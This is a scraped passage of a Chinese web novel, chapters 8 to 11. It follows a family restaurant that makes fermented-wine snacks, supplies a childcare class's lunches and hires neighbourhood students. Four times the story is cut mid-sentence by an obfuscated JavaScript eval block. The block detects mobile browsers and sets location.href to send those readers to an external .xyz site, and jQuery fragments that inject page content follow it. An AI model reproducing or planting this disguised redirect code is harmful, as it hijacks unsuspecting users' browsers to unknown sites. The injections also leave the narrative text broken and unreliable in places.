;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407135|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ~” 望着王然的背影，林慧真的快说不出话来。 这半个多月跟做梦一样... ... “姐，靠谱吗这家餐馆？你可别害我。” 王然坐在麻将桌旁，对着电话那头狠狠翻了个白眼：“我是你姐我能坑你啊？放；一百个心了，联系你了吗？” “联系了联系了，我明天拉群，后天托管班开门，我信你这回，要是真像你说的这么好，我就放心了。” “碰碰碰，哎哎哎别拿，手这么快干什么。” 王然随手打出一张五筒。 “哎哟好了啦，别打扰我打麻将了，跟你说多几句话牌都不好了。” 说罢就撂了电话。 “第一次听你替你妹张罗托管班午餐啊，哪家店啊？给你塞钱了？” 台桌上的牌友打趣着说。 王然捂着嘴笑：“哪有那好事哦，我们家又吃不了这个生意，谁家小孩中午天天吃沙县？那既然人家做的好吃卖个人情过去呗，一通电话的事情。” 另一个牌友笑得灿烂：“杠！王然把你手上的放下来，好意思说别人手急哦。” “什么时候带我们这群去吃吃看，说的那么神，有没有那么好吃哦？” 王然摆摆手：“过几天请你们吃，赶紧赶紧摸屁股，那么多话说。” ... 苏婉下午听林慧说了这个消息之后也很惊讶。 王然？上辈子和自己家没什么交集，这辈子也就是多来吃了几次饭。 苏婉没往太深想。 晚上八点钟歇业后没有急着回家。 苏婉在后厨做着凉菜。 ——糟货。 买了现成的酒糟也叫做香糟卤。 把八角、桂皮、香叶、花椒、姜片、葱段放到锅里，倒入清水用大火煮开，然后转小火熬煮释放出所有的香料味道之后放置凉透。 这次用的是花雕酒。 把酒糟慢慢倒进花雕酒和香料水里。 用一个木槌把酒糟全都碾开碾碎。 搅拌均匀之后放进冰箱冷藏2-4小时就可以。 苏婉为了能够更好吃，从下午一点就开始弄这糟卤水。 从冰箱里拿出来之后，把糟卤水倒进了细纱网里过滤残渣，只剩下澄澈的糟卤水。 这个时候就可以进行调味了，放入苏婉秘制的调料，细心分出两锅，一锅辣的一锅不辣的。 接下来就是处理食材。 各种喜欢吃的东西，鸡爪、鸭舌、虾、鸡翅、毛豆、花生... 所有的食材根据熟的难易程度依次丢进大锅里，只加姜片、葱和料酒去腥煮熟。 荤菜煮好捞出之后丢进冰块水里，以保证口感。 毛豆这种素菜则是丢进放凉了的水里浸泡。 所有的食材要无水的状态才可以丢进糟卤水里。 食材用厨房纸擦又风干之后，将所有的食材全都倒进了糟卤水里。 用保鲜膜和密封盖保存好之后放进冰箱冷冻，明天早上这一锅糟卤就做好可以吃了。 明天中午，也可以送些给王然尝尝，晚上餐食结束之后可以摆糟卤的摊子在门口。 8. 008 新定制的餐盒这几天刚收到，三拼刚好可以给托管班用。 中午给托管班的备餐有一部分是单独准备的。 ——红烧茄子、番茄滑蛋牛肉、蛋黄鸡翅。 一共有48份餐，做好之后让苏父送过去的。 林慧发愁，想着招两个小工，苏文和苏婉父女俩齐上阵在后厨。 也就是堪堪能忙得过来的程度。 要是因为托管班的送餐问题还需要苏文出去送一趟的话，长期以往肯定是不行的。 虽然现在客流量稳定，但是假期最好还是招暑期工先试一试。 林慧把自己的想法和苏婉说了一遍。 苏婉觉得没有任何问题，她这段时间和苏父在厨房忙的天昏地暗。 苏婉的体力不行，所以只要有关的工作她几乎都是交给苏父来负责，可现在老顾客稳定，也有新客，出餐量变大的情况下苏父也累得不行。 所以林慧既然有这个想法，苏婉自然是不会说拒绝的话出来的。 林慧也只是说一声，看女儿没有反对，用手擦去女儿脸上的汗，脸上都是心疼：“行了，你休息一会吧，等你爸回来再忙，你这段时间都累瘦了。” 苏婉笑笑，像是突然想起什么：“哎，妈。” 林慧停住脚步疑惑地看着女儿：“怎么了？” 苏婉眼睛滴溜溜地转，带着几分狡黠地劲：“你招小工的话，在临水巷找呗。” 苏婉说完停顿了一会，见林慧的表情没什么异样才接着往下说自己的想法。 “临水巷那边的人生活也比较吃紧，我想着都是邻里邻居的，能帮就帮一把，刚好有这个工作机会...” 林慧看女儿说完之后小心翼翼的样子，没忍住拍了一下她的头：“你呀，我知道你在想什么，你妈不是这种人，我们的事情跟别的邻居也没关系。” “我觉得你说的很好，我这两天就去问问。” 苏婉揉了揉并没有同感的头顶，一脸娇憨地对着林慧：“我前几天的时候看到一个阿姨，是在巷口那开便利店的阿姨，感觉如果问问她应该可以比较快找到。” 林慧对临水巷的人也不熟，搬来之后也没怎么和临水巷的人打过交道，但听苏婉这么说也点头。 “行，今晚我去问问看。” 是该和巷子里的人搞好关系，毕竟是邻居... ... 吴欣妍听到门铃声脚步轻盈，打开门取了餐。 每天最期待的就是吃苏厨小炒的外卖。 苏厨家换了包装、餐具、餐盒之后吴欣妍更爱这家店了。 今天中午的双拼吴欣妍点了蛋黄鸡翅、酸辣鸡杂。 把东西都拿出来之后吴欣妍才看到，边边有个小盒子。 吴欣妍疑惑，自己没点别的东西呀。 只看上面有一张小纸条。 【你好呀老顾客，这是店里新品糟货，给各位老顾客品尝，卤汁里含有酒精不要给小孩子吃哦。】 吴欣妍眼睛放光，竟然有糟货！ 糟货算是江市当地的一个比较特色的卤味，但是摆摊的不算特别多，超市里偶尔看着有卖的风味也一般没有特别好吃的，工业化生产的几乎都是同一个味道。 吴欣妍风卷云残地吃完了自己点的双拼饭，饭吃不吃完不要紧，菜反正是连汤汁都没剩下来。 小心翼翼地打开盒子，卤汁给的不少，怕洒出来。 里面的东西不多不少，鸡爪、毛豆、虾、翅尖... 毛豆给的多，其余的东西给了两三样。 吴欣妍迫不及待的就拿起鸡爪开始啃。 苏家的糟货不是传统的江市风味，江市本土的风味是甜口的，带着淡淡的酒香。 而苏家这款则是有辣椒有藤椒的味道，想来是结合传统口味做出的更融合性的现代口味。 糟货是冰过之后送过来的，鸡爪很Q弹紧实，咸鲜的味道带着淡淡的酒香，加了冰糖吃到最后还有一些淡淡的回甘。 即使加了辣椒也不觉得抢味，两者融合的非常好。 很开胃根本不觉得油腻！量少很快就吃完，吴欣妍吃完之后咂咂嘴有些意犹未尽。 吴欣妍吃完之后打开外卖平台，在评价区问。 【蛋黄鸡翅好好吃！希望下次可以返场！赠送的糟货我也吃啦，呜呜呜作为土生土长的江市人民好久没吃到过这么好吃的糟货了，虽然不是传统风味，但是真的好惊艳！！想问这个糟货是店里有卖的吗，如果是的话我准备冲店里拿下了！！！】 评论发出来很快得到回复。 商家回复：【谢谢你的喜欢哦，老顾客都有赠送，其实有本土风味，看你平时下单都有点辣所以就给你送了辣味的版本，店里八点之后有糟货售卖~暂时不在网上售卖哦~】 吴欣妍得到回复之后又刷了刷店铺的评论区，真是太有意思了。 全是好评就不说了，许是这附近都是写字楼的原因，食客都比较年轻，所以评论区一个比一个的抽象。 【我今年80了，流落在外三十年今天终于回江市了，三十年来我就想着吃一ロ饭,所以回来第一顿饭就选择了辣子鸡,干挑万选我选了这家店。送货特别快，菜和饭是分开装的，虽然我老了但也不爱吃湿湿的米饭，这家店的贴心设计实在是太暖心了！要是能再活20年我还吃你家饭。】 商家回复：【还能再活100年！】 【m国五星上将麦克阿se曾经说过,如果.上帝不让我吃,那么我可能会将枪口指向上帝，king国首相也曾说过，战争让我整夜整夜的无法入睡，可是每次,我就知道我可以安心的睡去了，我国某朝太后也曾经说过，无法想象这一份饭是怎么做出来的，神功巧匠莫能如此，在这个全民小炒都变质的年代，还是能有这么一家店在坚持保留小炒真正味道的传承，留存是对小炒的缅怀，美味是对家乡味道的致敬，感谢收看大型纪录片《我爱苏厨小炒，我吃苏厨小炒一辈子》】 商家回复：【看到你的评论好笑之余觉得暖心，收下您的夸赞，擅于夸赞的你一定特别好看！】 吴欣妍就这么一直刷，笑的直不起腰，现在的饭友们都太会整活了，这个评价区都已经走不出去了！ ... ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407136|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 下午营业结束之后，林慧打包了满满一盒的糟货送去给王然，以表示感谢。 托管班的饭做得早，十一点出头就已经把餐点送了过去。 林慧和王然她妹妹王会心昨天商量，本来说的是试餐期间也按照正常流程——提前一天在群里发布第二天的餐食，要是孩子们都觉得好吃那就将托管班的午饭全权放权给苏厨小炒这边负责。 后面又临时说，试餐期间就不拉群了，如果餐食做得好准备正式合作再有个群会好一些。 林慧也欣然接受，拉群确实也是一个比较麻烦的事情。 结果——餐食刚送过去半个小时。 群就已经拉好了，王会心和林慧说，托管班的同学对苏厨小炒的餐食一致好评，马上就定下了合作。 林慧心里的一个大石头也落了地。 进群之后看到，第一条消息是所有人加了群之后王会心发的。 王会心：“各位托管班同学的家长好，这个群是托管班专门的午餐群，合作的商家是”苏厨小炒”证件齐全，后厨干净整洁，合作之前我们已经有同事偷偷过去考察过，今天中午让各位家长无需给小朋友备餐，我们托管班出资让商家试餐一天，收到了所有同学们的一致好评，所以我们的合作也正式达成，托管班不会向商家收取任何费用。” “各位家长点餐随意，商家会提前一天发出第二天的餐食，可以根据餐食决定是否点单，自愿原则不强迫，希望所有的同学都可以在托管班度过一个愉快的暑假~” 林慧看到之后把手机交给了苏婉，苏婉也在群里发了言。 “大家好，我是苏厨小炒的商家，从今往后想订餐的家长在群内转账即可，会提前一天晚上发出第二天的菜单，如果有什么推荐的餐品可以发在群里，会酌情参考。” 群里静了很长一段时间，苏婉也能够理解。 毕竟会把孩子送去托管班的基本上都是比较忙碌的家长，没有时间看手机非常正常。 等到晚上六七点群里才活跃起来。 【今天我家梓涵回来和我说今天中午的午饭很好吃，明天的菜单什么时候发出来啊，我要订餐，你们家定价是怎么定的？】 【哎哎哎，我们家也要定，我们家孩子是个挑食的，今天晚上回来居然和我说把菜全都吃完了，厉害呀你们厨师，不管多少钱我要一份。】 【孩子晚上一直念叨着要吃鸡翅和茄子，我家多给点钱，以后我家孩子的菜麻烦多装一些。】 【我家孩子中午怎么没吃到饭？为什么没告诉我呐你们托管班的老师？】 这话一出来之后老师连忙出来解释。 王会心：“星星奶奶，昨天是在大群里说过午餐的问题的，您说星星不在托管班吃午餐，我们就没有定星星的餐食。” 那个星星奶奶发了一条语音出来。 【你们也没说是免费的啊，现在星星的餐被你们克扣了，你说怎么办？补偿给我，弄的我家孩子现在在家里哭哭哭个不停，这件事情你们托管班要负责任的！】 星星奶奶的音调很高，明显是有些生气。 9. 009 王会心：“星星奶奶，那明天如果星星要订餐的话这份我们来承担你看可以嘛~” 星星奶奶：【这还差不多，你们托管班就应该自觉一点，还要我说了才这么说，花这么多钱也就这样，不如我自己带...】 星星奶奶最后嘟囔着，明显王会心已经维持不下去体面，只是回了个微笑的表情。 ... 另一边陈星家里。 见自家孙子哭哭啼啼地，星星奶奶更是气不打一处来：“你说说你，蠢不蠢？奶奶平时都是怎么教你的？托管班有饭你不问一下自己的在哪？” 陈星抹着泪：“奶奶...你...你中午...带我去...去吃了汉堡包...我回到教室根本...就不饿。” 星星奶奶用手在孙子脸上抹了一把，擦掉鼻涕和眼泪。 “那你不会要吗？别的同学都有...哎算了，也不怪你，要怪就怪你们托管班的老师，太不像话了！” 说到这，门口传来开锁的声音，刘莹迎下班回来，在玄关处脱鞋，就听到了儿子的嚎哭声，刘莹迎心里一紧，赶忙问。 “星星？怎么哭了？” 星星奶奶看到儿媳妇回来，脸更是黑的像锅底一般。 一副尖酸刻薄的样子：“上个班又穿高跟鞋又穿裙子的，我儿子赚点钱都被你给糟蹋了。” 刘莹迎听到了，忍耐住没有跟她吵起来，而是快步走到儿子旁边蹲下来看着在地上坐着哭的儿子：“发生什么事情了？跟妈妈说。” 陈星紧紧抓着刘莹迎的手臂，边哭边在抽泣：“今天中午...奶奶领我买汉堡...让老师...别...别给我准备饭...” 马上被星星奶奶打断：“孩子知道什么呀，你听他说，都是胡说八道。” 星星奶奶皱着眉，对着儿媳妇说“你那什么托管班？又浪费钱又黑心。今天中午全托管班免费吃午饭，就星星没有！” “我早就说你一个女人家在家好好带孩子，我也没见你在外面赚多少钱回来，我好不容易从乡下来一趟，你还不给星星退托管班，你对我有意见？” 刘莹迎对星星奶奶别的话不放在心上，但也对托管班的事情感到惊讶：“是真的吗星星？托管班不给你饭吃？” 星星这个时候已经止住了抽泣，点点头又摇摇头：“是奶奶说...托管班的饭肯定又贵又难吃，让我跟她出去吃，然后和老师说了我中午不吃她们的饭，所以老师才没有给我准备。” 说完，从书包里拿出一个蜘蛛侠的手办：“这是老师中午为了补偿我送给我的礼物，我很喜欢，可不可以让奶奶不要骂老师...” 刘莹迎听到这哪还不知道事情的发生经过是怎么样的呢？ 老人家怕被坑不愿意吃人家饭菜，现在知道人家是免费试餐的又倒打一耙，倚老卖老。 刘莹迎没再看向星星奶奶，抱着儿子就进了房间。 对丈夫满腹怨念。 她早都跟丈夫说过了，这个假期不要让婆婆过来，自己已经把孩子送去托管班了。 丈夫非不听，硬要说自己对婆婆有意见。 刘莹迎听到这个说法觉得心寒，但也退了一步，说老人家当然随时可以过来，但是既然孩子已经送到托管班去了她就不要管了。 丈夫嘴巴上答应地好好的，结果婆婆来第一天就问刘莹迎要了托管班老师的联系方式，刘莹迎看向丈夫，只看到丈夫躲避的眼神，刘莹迎的心又凉了大半截。 要是婚前知道这是个不会处理婆媳关系的，就是再会甜言蜜语她刘莹迎也不会跟他结这个婚！ 刘莹迎把孩子哄睡之后，给王会心打去电话道歉，提前把第二天的餐费给了王会心，至少让王会心没这么为难。 ... 林慧看着这群消息摇摇头：“这群里有人不好相处哦。” 苏文把桌子挪到门口，把满满两大锅的糟货也搬了出去。 停下来用毛巾擦拭着额头上的汗。 “这很正常，总有些爱找事的人，我们做好自己的餐就行。” 林慧这段时间看着店里的生意越来越好，眉眼间总带着的忧愁都散了不少，她眉开眼笑：“是啊，我们做好自己的就行。” 糟货刚摆出来，就有周遭的几个邻居和熟客来了。 隔壁卖凉菜的老王有了危机感，放下手里正摇着的扇子走过来，装作不经意地打探着问：“这是准备卖什么呢摆到外面来了？凉菜？” 周围刚围过来的都笑了。 “老王啊，你下次说话能别这么明显不，我都听出来你什么意思了。” “就是啊，你这个人，一点藏不住事。” “老苏是这样的人吗？我猜啊，是中午送过来的糟货。” “哎，中午有好吃的？老苏你不地道，我就算不是邻居也是老客了吧，你怎么的也不打个电话通知我一声。” 苏文擦了擦头上的汗，笑着道：“一会让你尝两个。” 摆出价格——素菜20/斤、荤菜40/斤、混装32/斤。 众人看到价格都有点瞠目结舌，卖这么贵啊。 苏文没说话，只是默默把糟货的盖子打开了一会，把料都往上捞了捞。 有黑虎虾、鸡爪、大闸蟹、鸡翅、各种鸭货、还有些毛豆花生之类的... 这样看完之后，没人嫌贵了... 食材多好看得出来，最先说话的人马上要了一斤混装。 “来，给我来一斤，我要辣的。” “我要两斤荤的，大闸蟹多给我一个。” “哎哎哎，我也要，一斤素一斤荤，在家放能放多久？” “我要半斤混装的，下酒哦！” 林慧帮着打包：“要是一餐吃不完的话吃的时候最好用干的餐具夹出来一部分吃，冰箱4度左右大概放个两三天，家里有小孩别让小孩吃哦，这个里面有花雕酒和酒糟的嘞。” “闻着都香，你们家好福气哦，女儿手艺这么好，老苏，有没有偷师学一下？” 苏文听到女儿被夸，腰杆挺的笔直。 “我女儿手艺好得不得了，哪学得来，学了点皮毛都够让你满意了。” 那食客笑着：“说大话也不怕飞上天去。” ... 待收摊已经是快十点了，今晚糟货又赚了有80 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407137|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 0多块钱，糟货这东西不耐放，也没敢多做，剩了一些一家人准备带回家去吃。 苏婉想，这糟货还是不太大众化，小孩子吃不了，如果要长期售卖的话，还是卤味会好一些，卤味做起来也方便很多... 回到临水巷之后，林慧没忘记女儿的嘱托，让苏文一个人拿着东西先回去，带着女儿往便利店走。 便利店已经关了门，林慧又问苏婉谢阿敏家住在哪里。 得知是巷口第三家之后，母女俩又朝着谢阿敏家里走了过去。 苏婉手上还拎着下午的时候林慧特意去买的水果。 谢阿敏她家比起别的房子显得稍微精致一些，林慧抬手敲了敲门。 应该是还没睡下，里面很快就有人回应，一道女声回到：“谁啊？来了来了等一下。” 等了片刻，门吱嘎一声被人从里面打开，谢阿敏穿着睡衣，微微探出了点头，见是苏家这母女俩，谢阿敏很惊讶。 毕竟她们从来都没有过交集，唯一的交集也就是半个月之前和苏婉打了个招呼，怎么就一声不吭找上门来了？ 难道......应该不能吧... 林慧也不是擅于打交道的人，搓着手半天说不出一句话，苏婉一看到两人这个状态就知道谢阿敏想岔了。 苏婉果断开口：“谢阿姨，我们是店里现在忙不过来，然后暂时也不想找长期工，想招两个暑期工试试看，因为店里生意还不算很稳定嘛。” “贴招聘又感觉怕不太靠谱，想着住在临水巷就看看临水巷有没有合适的人能够有时间的大学生来帮帮忙，但也没渠道认识人，这不是前段时间认识您，所以我就想着能不能问问看有没有认识的邻居家里有男生这个暑假闲着的。” 听到这，谢阿敏肉眼可见地松了口气，把门拉开对着林慧母女俩就往里面招呼：“来来来往里面坐，坐下来聊。” 苏婉和林慧跟着谢阿敏走进她家，格局跟苏家差不多，也是三室一厅的格局，不过这明显要大一些，客厅比苏家宽阔太多。 苏婉收敛着自己的眼神，让自己不要过多打量别人家，把手上水果放在茶几上之后就规矩坐下。 谢阿敏看到苏婉放下的水果，装作没看到的样子，但明显整个人要更热情了。 “哎哟，你们招人找我就对了，临水巷谁不知道哦？我谢阿敏是临水巷有名的包打听嘞，这临水巷的事情哪有我不知道的。” “问我就对啦，家家户户我清楚地很，具体是干些什么咯？工资开多少？” 林慧想了想，有些不好意思的开口“工资不算多，一个月一千八，包吃，想吃多少都行，负责嘛我们店偶尔帮帮厨，送送外卖这个样子的就可以。” “招两个人有帮衬，不会特别累的。” 谢阿敏有些惊讶，这不少嘞：“这个条件没问题的呀，我明天问好之后第二天就带给你，保证是听话的，那些顽皮的我不带去给你添麻烦，包在我谢阿敏身上。” “也谢谢你哦，有活能想着我们这边的人。” 林慧摆摆手：“哪里的话，都是邻居嘛，那我们就不打扰了，你休息吧很晚了。” ... 10. 010 今天苏婉不打算营业，只做托管班的单子。 群里的家长都还是挺捧场的。 几乎全都预约了今天的餐。 ——也包括星星。 为了能够营养均衡，一般是两荤一素。 今天的菜单是可乐鸡翅、牛肉豆腐抱蛋、荷兰豆炒虾仁。 托管班走的是薄利多销的路子，也是因为没有平台，自己送餐所以少了很多的成本。 这么一份下来20块钱。 虽然份量比平台上单点的稍微小一些，但是跟正常外卖比起来还是量大。 苏婉系好围裙，就准备开始做了。 可乐鸡翅这种在餐馆里屡见不鲜的菜色，苏婉决定让苏父来。 ——这道菜就不可能难吃。 ... 备菜完成后，苏婉开始做牛肉豆腐抱蛋。 苏父烧水放入油和盐，待水开之后下入荷兰豆，断生之后捞出过冷水，可以让荷兰豆保持翠绿爽脆。 苏婉这边，把牛肉末调好味之后，把内脂豆腐切成小块，鸡蛋液打均匀。 开火烧锅，待锅烧到冒白烟倒入花生油，把牛肉末倒进去，炒香之后放豆瓣酱、蚝油和一点点盐和鸡精，把炒好的牛肉盖在豆腐上，随后把鸡蛋液倒上去。 上锅盖盖蒸七八分钟，一直到蛋液凝固，苏婉把控好时间关火。 鸡蛋是刚刚好凝固的状态，撒上葱花之后泼上香油和生抽，这道菜就做好了。 苏父的荷兰豆虾仁也炒的差不多，苏婉盯着他放调味料。 “盐不够，再来点。” “糖别多了，够提鲜就可以。” 苏父听女儿的话把调味弄好，又颠了几下锅，调了个水淀粉勾个薄芡，热乎的荷兰豆炒虾仁也出锅~ 最后就是可乐鸡翅。 苏父最近跟着女儿学厨，厨艺大有进步，大菜说不上，这种家常的菜系不说十分也学了个六七成。 可乐鸡翅煎至两面金黄，锅留底油，放入姜片，随后放入刚煎好的鸡翅，倒可乐刚好没过鸡翅就可以，然后放老抽、生抽、料酒，来调色调味，大火烧开之后又转中火熬至冒泡，大火收汁，苏婉再次看准时机关火，撒上一大把的白芝麻，收工！ 色、香、味俱全的三道菜就做好了。 苏父把打包好的菜都放到三轮车里面，准备送去托管班，托管班离这也不远，孩子们基本上都住在附近，所以很多假期的托管班基本上都是在这个片区。 接送也方便。 ... 托管班。 王会心这个托管班除她之外一共找了3个老师。 人不算多但对着四十来个孩子也正正好。 餐送到门口之后几个老师一起拿了进去。 这一餐没有学生有特殊的忌口，所以都是随机发放的饭菜。 发到星星的时候，王会心顿了一下，但也就是一瞬间的事情。 大人的事情怎么能对一个小孩子有意见呢。 不过王会心也好奇，这家店的餐真有这么好吃？王会心也不是第一年办托管班，事实上这已经是她办托管班的第五个年头了。 要不是之前合作的商家闭店跑到海市去，王会心也不会这么临时的找她姐给她介绍靠谱的商家。 待所有的餐品发放完之后，王会心开了小蜜蜂。 “同学们，吃饭注意保持餐桌清洁，不要撒漏在桌面上，养成好习惯很重要哦！” 没等王会心说完话，小朋友们都已经吃上了。 “哇，今天又有鸡翅！是可乐鸡翅，我最喜欢吃可乐鸡翅了！” “我喜欢吃这个豆腐肉，还有鸡蛋。” “我觉得最好吃的是这个虾，我妈妈很喜欢做虾给我吃。” “我觉得昨天的蛋黄鸡翅好吃，今天的鸡翅我也喜欢。” “我昨天让我妈妈给我做有蛋黄的鸡翅她说不会做。” “对呀对呀，我妈妈也说不会做，但是我妈妈说会在群里告诉厨师让他们再做一次蛋黄鸡翅的。” ... 星星和几个在托管班认识的好朋友一起吃着饭。 听到他们的谈话，星星哇一下就哭了出来。 王会心听到动静，看到是星星就觉得太阳穴突突直跳。 王会心快步走过来，问星星怎么了，星星光顾着自己哭不理人。 王会心又问周围的同学。 “星星怎么了？刚刚吃饭不小心弄到哪里疼了吗？” 杨凯乐摇摇头：“老师，没有，他自己刚刚突然就哭了。” 杨凯乐这一开口，其他同学都七嘴八舌说起来。 “对呀，刚刚我们在聊天，他没跟我们聊自己在吃饭。” “我们在聊昨天的蛋黄鸡翅，他没吃所以没和我们说话，然后就哭了。” 王会心这么一听，也知道是怎么一回事了。 心里有些无奈，蹲下来看着还在哭的陈星。 “星星，好啦先不哭啦，告诉老师，是不是因为昨天没吃上饭不开心呀？” 陈星点点头，不停地在抽泣。 “我想吃蛋黄鸡翅...也想吃茄子...还想吃好吃的牛肉...” 说罢，嘴巴一撅又哭了起来。 王会心忙哄着：“好好好，我们先不哭好不好，今天没有蛋黄鸡翅了，我们明天让厨师给我们做，今天的可乐鸡翅喜不喜欢吃呀。” 陈星点头。 “那老师把老师自己的可乐鸡翅给你两个，不要再哭了好不好？我们明天吃蛋黄鸡翅好不好？” 陈星点点头，眼睛通红，眼泪和鼻涕糊了一脸。 止不住的抽泣但是一边抽一边想扬着嘴角跟老师说谢谢。 王会心真是没辙了，去到自己的办公室把饭拿了过来，夹了两个鸡翅给陈星。 王会心自己也心疼呢，五个鸡翅这就给了俩。 “好了，大家都回到自己座位上好好吃饭，大家都想吃蛋黄鸡翅的话我今晚回去跟厨师说，乖乖的啊。” 说罢，王会心回到自己的办公室吃饭。 她本来一直到昨天为止都没想着自己也吃苏厨的饭的。 结果今天一吃，惊为天人！ 牛肉豆腐抱蛋拌进饭里，吃一口鲜的眉毛都要掉了。 这个荷兰豆虾仁也恰到好处，虾仁大颗一看就新鲜，这两道菜的感觉就是，鲜甜！可口！拌饭一绝！再 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16407138|184532||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 加上这可乐鸡翅，浓油赤酱，酱汁拌在饭里又是别有一番风味。 隔壁的两个女老师看王会心吃的这么欢，一直盯着。 王会心抬起头来，见同事一直盯着自己，觉得有些不好意思。 “怎么了，我脸上有饭吗？” 两个老师都摇摇头。 不由自主的咽了一口唾沫。 明天，她们也要吃托管班里的饭！ ... 再说说临水巷这头。 大中午刚吃完饭，谢阿敏让自家男人看店，自己则是跑去找骆美玲。 骆美玲家和谢阿敏家住得近，就在对门。 谢阿敏刚拐进巷子里，骆美玲就刚好拿着垃圾出门，看到谢阿敏跑两步就气喘吁吁地样子，忍不住就想讽两句：“这么大动静，我还以为地震了，什么事儿啊着急忙慌的？” 谢阿敏瞪了她一眼，也不太在意，她们两个人的相处模式就是这样。 “我有正事和你说！” 谢阿敏把昨天晚上苏婉和林慧跟自己说的话原原本本地跟骆美玲说了一遍。 骆美玲听了之后也很惊讶：“他们家人这么好心呢？” 要知道，临水巷这群街坊领居，自周围拆迁之后就都不太好过，每家每户都是绑紧了裤腰带过日子，这下子有赚钱的机会，这被欺负的一家子能想着巷子里的人。 骆美玲有些五味杂陈的。 谢阿敏和骆美玲都认识多少年了，一看她露出这个表情就知道她在想什么。 “我也是觉得不可思议，昨晚上那母女俩来找我的时候给我吓一跳噢，我还以为是来找我帮她们忙让我出主意把林钰解决了，吓都吓死了。” 林钰这个人，又疯又癫，特别是赔钱之后，临水巷没人敢惹她，也就秦阿婆说话能管用些。 她们这些街坊邻居，就算有人有办法能联系上人林钰的弟弟，但是为了一家子外来没交集的人，冒着有可能得罪林钰的风险，到底有没有这个必要？ 默不作声好像就是最好解决问题的办法。 可没想到，这一家子居然以德报怨。 谢阿敏拍拍骆美玲的肩膀：“么得事情，要是下次林钰再惹事情我们几个帮着点咯，大不了让你家屋头那个给林钰她弟打个电话，你家屋头那个是她弟领导，我想不会不给你面子。” “正好你儿子不是刚放暑假，还有我儿子，明天也回来，我正愁没地方塞呢，这不是刚好？” 骆美玲点点头。 “就按你说的来，我回去和我儿子说一声。” 两个人分开，这事也就这么拍了板，谢阿敏给林慧发了消息，明天两个大学生就准备上岗，他们两家家里都有电动车，送货的话也方便的多。 ... 苏厨小炒这头。 苏婉最近发现，临水巷不少老人家都有自己的菜地。 有些东西比如花生、辣椒这之类的，品质都很好。 苏婉考虑着说，要是做卤味的话，干辣椒这些东西少不了，后续如果需求量更大的话。 与其在市场买，不如价格低一些在临水巷收，巷子里的人赚到的钱不比批发卖的赚的少，苏婉这边的成本也下来了。 11. 011 这事暂且搁置，第二天刚到店里，苏婉就开始教苏父做卤菜。 苏婉有一个自己的配方，味道很接近现在市面上的一个专门卖卤味的连锁店，甚至吃过的人一度认为苏婉做的更好吃。 卤味的好不好吃取决于一锅“老卤”，而一锅好的“老卤”的重点就是“卤水”和“卤油” 香料依旧是分为三个板块。 君料（也叫做主香），臣料（也叫做辅香），佐使料。 ?仁、八角、桂皮、白芷、小茴香、砂仁、丁香、良姜、甘草、白蔻、山楂干、花椒、干辣椒、荜拔、毛桃、罗汉果...苏婉称重多分了几份，这样下次要用的时候就不需要再称重，苏父在一旁记录数据，这一次做了之后，卤味这块就是苏父全权负责了。 “这个丁香，克重可以少不能多，因为比较烈。” “山楂干是用来软化纤维的，让肉能更好入味。” ... 分别配好，用70度左右的温水浸泡，加入白酒可以去除香料里的苦涩味和药味，激发香气。 熬高汤的工作苏婉交给了苏文，苏文佩服女儿的厨艺，但不管怎么说他自己也是做了十几年的厨师，熬汤这方面他很有自信。 两只老母鸡，若干猪筒骨准备好焯水之后放到大锅里大火烧开转小火炖煮6-8小时。 用香葱、洋葱等炸好油之后，就等这两锅东西熬好混合就可以了。 处理鸭货的步骤不需要再过多演示，和做糟货是一样的。 卤货最重要的除了卤水之外就是卤制时间，时间长了容易肉散，少了不入味不好吃，时间和温度需要把控的刚刚好。 做到这一步，苏婉无比怀念自己上辈子。 她最开始初出茅庐的时候，靠的就是一锅子卤货。 新卤和老卤可是完全比不了的，很多卤味店靠的就是那一锅子“镇店之宝”，都是老师傅传下来的“卤引子”。 要是自己的那锅老卤能用上，那味道简直了，苏婉不夸张的说，就是从店门口路过都得香的摔一跟头。 ... 